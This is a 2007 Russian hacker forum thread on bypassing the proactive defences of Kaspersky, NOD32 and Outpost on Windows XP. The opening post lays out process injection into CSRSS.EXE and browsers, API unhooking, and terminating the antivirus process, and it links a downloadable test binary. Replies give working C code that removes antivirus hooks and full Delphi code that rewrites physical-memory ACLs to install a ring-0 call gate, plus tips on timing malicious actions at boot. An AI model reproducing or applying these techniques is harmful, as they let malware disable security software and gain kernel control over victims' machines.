ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Обход проактивной защиты.
  #1  
Старый 17.06.2007, 19:15
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию Обход проактивной защиты.

Проактивная защита что это такое,
Пример: картинка

Такое сообщение выдает Касперский, если внедренный в него код, пытается изменить другие процессы.
Интересно какую, кнопочку выберут, обладатели Kaspersky Anti-Virus.

Поехали обходить защиту.
на примере самых популярных защит, по опросам Античат.
Какой Фаервол Вы предпочитаете?
Outpost 60.61%
Какой Антивирус Вы предпочитаете?
NOD32 44.81%
AVP(Kaspersky Anti-Virus) 35.31%
Пишем код под WinXP.

1.Внедряемся в CSRSS.EXE
Чем замечателен, этот процесс в XP, он имеет права изменять память других процессов, а этого мы хотим добиться (процесс системный – добавляем себе привелегии SeDebugPrivileg, а из под Гостя можно выбрать процесс попроще, например explorer.exe).
Открываем процесс CSRSS.EXE и пишем туда наш код.
Не получилось, сработала проактивная защита.

NOD32,Outpost ставят НооКи на WriteProcessMemory.
те. Если мы вызываем функцию записи в чужой процесс, сначала выполняется код внедренный в наш процесс, и этот код разрешает или запрещает запись.

Выкидываем шпионов из нашего процесса.
Открываем файл systemroot\ntdll.dll
Сравниваем (первые 10 байт) кода начала API функций, загруженной, к нам память ntdll.dll с тем, что на диске. Собственно, заменяем, несоответствия на оригинал.
Тоже самое проделываем, с остальными библиотеками (Kernel32,User32,AdvApi32)
Касперский , модифицирует адреса функций в EXPORT_DIRECTORY, тоже заменяем, на оригинал.

Вторая попытка:
Открываем процесс CSRSS.EXE и пишем туда наш код.

NOD32,Outpost в пролете. Касперский все перехватил драйвером. (сцуко)
хотя, норд с аутпостом тоже, заметили, но почему-то, ничего не предприняли.

Выкидываем AVP из списка процессов
Ставим Hook на WH_CALLWNDPROC для AVP.EXE, и шлем сообщение WM_QUIT.
Как только Касперский попытается вывести сообщение, о срабатывании системы самозащиты, тут же слетит по команде TerminateProcess,-1
Касперский тоже, заметит, но решит что Вы разрешили это сделать, и тревогу не поднимет.

Третья попытка:
Открываем процесс CSRSS.EXE и пишем туда наш код.
Все прошло удачно. Можно перезапустить Касперского, чтобы пользователь ничего не заметил, и выходить из программы, чтобы в диспетчере задач нас тоже не было.

1.Мониторим запущенные браузеры.
У svchost.exe, плохая репутация, редко кто этому процессу разрешает доступ к интернет.
Ждем запуска популярного браузера (Firefox.exe, Opera.exe, Iexplore.exe)
Инжектим свой код в браузер и у нас появились хоть, какие-то права.

Ну например, загружаем 'http://xserg11.narod.ru/VB.wav' , в 'c:\VB.wav' (64кб 1мин.)
И запускаем ShellExecute(,, 'c:\VB.wav'
VB.wav (с) Nightmarе. Оригинал http://shinobi.org.ru/pranks/get.php?id=12

Для теста вашей защиты можете запустить:
Делает все выше перечисленное.
http://xserg11.narod.ru/tests1.rar (12,5кб) с исходником MASM32
(TESTS.exe 5632байт, чуть покриптован /NODу не нравится/, не закрепляется в системе, ничего нигде не меняет, ничего не ворует, и вообще не вредоносная программа, после использования систему перезагрузить)
 
Ответить с цитированием

  #2  
Старый 17.06.2007, 19:39
razzzar
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
Провел на форуме:
725870

Репутация: 208
По умолчанию

Цитата:
Выкидываем шпионов из нашего процесса.
Открываем файл systemroot\ntdll.dll
Сравниваем (первые 10 байт) кода начала API функций, загруженной, к нам память ntdll.dll с тем, что на диске. Собственно, заменяем, несоответствия на оригинал.
Тоже самое проделываем, с остальными библиотеками (Kernel32,User32,AdvApi32)
Касперский , модифицирует адреса функций в EXPORT_DIRECTORY, тоже заменяем, на оригинал.
вот код реализации:
Код:
bool RemoveHook(char * szDllPath, char * szFuncName)
{
	HMODULE lpBase = LoadLibrary(szDllPath);
	LPVOID lpFunc = GetProcAddress(lpBase, szFuncName);

	if ( !lpFunc )
		return false;

	DWORD dwRVA = (DWORD) lpFunc - (DWORD) lpBase;

	HANDLE hFile = CreateFile(szDllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if ( INVALID_HANDLE_VALUE == hFile )
		return false;

	DWORD dwSize = GetFileSize(hFile, NULL);

	HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, dwSize, NULL);

	LPVOID lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize);

	LPVOID lpRealFunc = (LPVOID)((DWORD)lpBaseMap+dwRVA);

	DWORD dwOldProtect;
	bool bRes = true;
	if ( VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect) )
	{
		memcpy(lpFunc, lpRealFunc, 10);
	}
	else
	{
		bRes = false;
	}

	UnmapViewOfFile(lpBaseMap);

	CloseHandle(hMapFile);
	CloseHandle(hFile);

	return bRes;
}
(c) wasm.ru ( автора не помню )
 
Ответить с цитированием

  #3  
Старый 18.06.2007, 18:57
sn0w
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме:
1290766

Репутация: 1236


По умолчанию

баян. вся проактивка держится на хуке SDT. те драйвер антивира или фаера перехватывает ряд ядерных функций. очистка SDT подробно описана на rootkit.com и называется вроде SDT Restore
__________________


snow white world wide
 
Ответить с цитированием

  #4  
Старый 19.06.2007, 13:12
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию

Переход из ring3 в ring0 (для XP)
Без DuplicateHandle палится проактивной защитой на уровне драйвера.
И все что я писал в топике, нафик ненужно.

Автора кода не знаю, я добавил только DuplicateHandle.
sn0w добавь в свой код.
Код:
program ring0;

uses
  Windows, NewAclAPI, NewAccCtrl;

type
  TFarCall = packed record
    Offset: DWORD;
    Selector: Word;
  end;
  TGDTInfo = packed record
    Limit: Word;
    Base: DWORD;
  end;
  PUnicodeString = ^TUnicodeString;
  TUnicodeString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: Pointer;
  end;
  PObjectAttributes = ^TObjectAttributes;
  TObjectAttributes = packed record
    Length: DWORD;
    RootDirectory: THandle;
    ObjectName: PUnicodeString;
    Attributes: DWORD;
    SecurityDescriptor: Pointer;
    SecurityQualityOfService: Pointer;
  end;
  PGateDescriptor = ^TGateDescriptor;
  TGateDescriptor = packed record
    OffsetLo: Word;
    Selector: Word;
    Attributes: Word;
    OffsetHi: Word;
  end;

  function NtOpenSection(SectionHandle: PHandle; AccessMask: DWORD;
    ObjectAttributes: PObjectAttributes): DWORD; stdcall; external 'NTDLL.DLL';
  procedure RtlInitUnicodeString(DestinationString: PUnicodeString;
    SourceString: PWideChar); stdcall; external 'NTDLL.DLL';

const
  OBJ_CASE_INSENSITIVE = $00000040;
  OBJ_KERNEL_HANDLE = $00000200;

procedure _Ring0; 
asm
  cli
  pushad
  mov bx,100
  mov al,0b6h
  out 43h,al
  mov dx,0012h
  mov ax,34dch
  div bx
  out 42h,al
  mov al,ah
  out 42h,al
  in al,61h
  mov ah,al
  or al,03h
  out 61h,al
  mov ecx,$12345678
@@:push eax
   inc eax
   dec eax
   pop eax
   loop @@
  mov al,ah
  out 61h,al
  popad
  sti
  retf
end;

function QuasiMmGetPhysicalAddress(VirtualAddress: THandle; var Offset: DWORD): DWORD;
begin
  Offset := VirtualAddress and $FFF;
  if (VirtualAddress > $80000000) and (VirtualAddress < $A0000000) then
    Result := VirtualAddress and $1ffff000 else Result := VirtualAddress and $fff000;
end;

function OpenPhysicalMemory: THandle;
const
  DeviceName: PWideChar = '\Device\PhysicalMemory';
var
  PhysMemString: TUnicodeString;
  attributes: TObjectAttributes;
  OldAcl,NewAcl: PACL;
  SD: PSECURITY_DESCRIPTOR;
  Access: EXPLICIT_ACCESS;
  Hprocess:dword;
begin
  RtlInitUnicodeString(@PhysMemString,DeviceName);
  with attributes do
  begin
    Length := SizeOf(TObjectAttributes);
    RootDirectory := 0;
    Attributes := OBJ_CASE_INSENSITIVE or OBJ_KERNEL_HANDLE;
    ObjectName := @PhysMemString;
    SecurityDescriptor := nil;
    SecurityQualityOfService := nil;
  end;
  Hprocess:=GetCurrentProcess;
  NtOpenSection(@Result,READ_CONTROL,@attributes);
  DuplicateHandle(Hprocess,Result,Hprocess,@Result,READ_CONTROL or WRITE_DAC,true,0);
  GetSecurityInfo(Result,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,nil,nil,@OldAcl,nil,SD);
  with Access do
  begin
    grfAccessPermissions := SECTION_MAP_READ or SECTION_MAP_WRITE;
    grfAccessMode := GRANT_ACCESS;
    grfInheritance := NO_INHERITANCE;
    Trustee.pMultipleTrustee := nil;
    Trustee.MultipleTrusteeOperation := NO_MULTIPLE_TRUSTEE;
    Trustee.TrusteeForm := TRUSTEE_IS_NAME;
    Trustee.TrusteeType := TRUSTEE_IS_USER;
    Trustee.ptstrName := 'CURRENT_USER';
  end;
  SetEntriesInAcl(1,@Access,OldAcl,NewAcl);
  SetSecurityInfo(Result,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,nil,nil,NewAcl,nil);
  CloseHandle(Result);
  NtOpenSection(@Result,SECTION_MAP_READ,@attributes);
  DuplicateHandle(Hprocess,Result,Hprocess,@Result,SECTION_MAP_READ or SECTION_MAP_WRITE,true,0);
  LocalFree(DWORD(NewAcl));
  LocalFree(DWORD(SD));
end;

var
  PhysMem: THandle;
  gdt: TGDTInfo;
  ptrGDT,Ring0Proc: Pointer;
  CurrentGate: PGateDescriptor;
  OldGate,NewGate: TGateDescriptor;
  offset,base_address: DWORD;
  FarCall: TFarCall;
begin
  PhysMem := OpenPhysicalMemory;
  Ring0Proc := @_Ring0;
  asm sgdt[gdt] end;
  base_address := QuasiMmGetPhysicalAddress(gdt.Base,offset);
  ptrGDT := MapViewOfFile(PhysMem,FILE_MAP_ALL_ACCESS,0,base_address,gdt.limit+offset);
  CurrentGate := PGateDescriptor(DWORD(ptrGDT)+offset);
  repeat
    CurrentGate := PGateDescriptor(DWORD(CurrentGate)+SizeOf(TGateDescriptor));
    if (CurrentGate.Attributes and $FF00) = 0 then
    begin
      OldGate:=CurrentGate^;
      CurrentGate.Selector := 8; // ring0 code selector
      CurrentGate.OffsetLo := DWORD(Ring0Proc);
      CurrentGate.OffsetHi := DWORD(Ring0Proc) shr 16;
      CurrentGate.Attributes := $EC00;
      FarCall.Offset:=0;
      FarCall.Selector:=DWORD(CurrentGate)-DWORD(ptrGDT)-offset;
      Break;
    end;
  until DWORD(CurrentGate) >= DWORD(ptrGDT)+gdt.limit+offset;
  FlushViewOfFile(CurrentGate,SizeOf(TGateDescriptor));
  asm
    db $0ff,$01d
    dd offset FarCall
  end;
  CurrentGate^ := OldGate;
  UnmapViewOfFile(ptrGDT);
  CloseHandle(PhysMem);
  MessageBoxA(0,'\m/','RING-0',MB_OK);
end.

Последний раз редактировалось Xserg; 30.06.2007 в 18:00..
 
Ответить с цитированием

  #5  
Старый 19.06.2007, 13:31
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию

http://lordofring.tushino.com/SDT.h
Нашёл в интернете и немного переписал. Чистит SDT. Проверил у себя - работает.Но мега-маза в том, что не хочет линковаться с комментом
Код:
#pragma comment(linker,"/ENTRY:WinMain")
Со всеми вытекающими последствиями в весе файла.
https://forum.antichat.ru/showpost.php?p=391561&postcount=15 - вот что нужно. Тогда будет линковаться.

Юзать так:
Код:
#include "SDT.h"
........................
SDT(); //если всё ок возвратит 0 , не ок 1.
 
Ответить с цитированием

  #6  
Старый 21.06.2007, 19:37
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию

Данную багу исправил, файлик перезалил. Примерно +7кб к весу файла.
 
Ответить с цитированием

  #7  
Старый 22.06.2007, 16:32
AdReNa1!Ne
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме:
2308963

Репутация: 309
Отправить сообщение для AdReNa1!Ne с помощью ICQ
По умолчанию

ммм... Надо взять на заметку. Полезная инфа.
 
Ответить с цитированием

  #8  
Старый 22.06.2007, 17:05
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Кстати. на счет этой темы. У меня както возник вопрос.
А именно про касперского. Онже многое ловит через драйвер.
В этоге получается вот такая вешь при загрузки системы:
Сначала грузится виндовые драйвера и драйвер каспера, потом виндовые сервисы, а потом то что нходится в авторане. Ну так вот. А если все свои пакости делать в то время когда драйвер уже загружен, а Gui авира еще не успела загрузиться.
Ведь по идеи даже если чтото будет обнаружено, то врядли будут всякие придупреджения . Или я не прав?
 
Ответить с цитированием

  #9  
Старый 22.06.2007, 19:32
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию

Цитата:
Сообщение от slesh  
А если все свои пакости делать в то время когда драйвер уже загружен, а Gui авира еще не успела загрузиться.
В логах каспера будет отчет, об незаконной операции с полным именем файла.
Помечено как допустимое. Тревоги не будет.
 
Ответить с цитированием

  #10  
Старый 22.06.2007, 20:01
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

2 Xserg ДЫк значит остается тока замутить запуск проги в нужно время.
Чтобы это сделать есть 2 пути.
1) Секция сервисов - скорее всего отпадает. потому что авиры палят установку нового сервиса.
2) Секция предназначенная для программ установок. Запускается в последнюю очередь, но до запуска авторана. На счет того можно ли туда чтолибо писать - хз.
Вроде место не очень паливное, но на авирах еще не проверял.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Защита информации против защиты данных dinar_007 Мировые новости 0 26.02.2006 20:02
Общие Рекомендации Защиты (MySQL и SQL Web-интерфейс) k00p3r Чужие Статьи 0 13.06.2005 11:22
Ловушка для взломщика k00p3r Чужие Статьи 0 08.06.2005 16:48
Меры защиты информационной безопасности foreva Чужие Статьи 0 06.02.2005 19:33



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ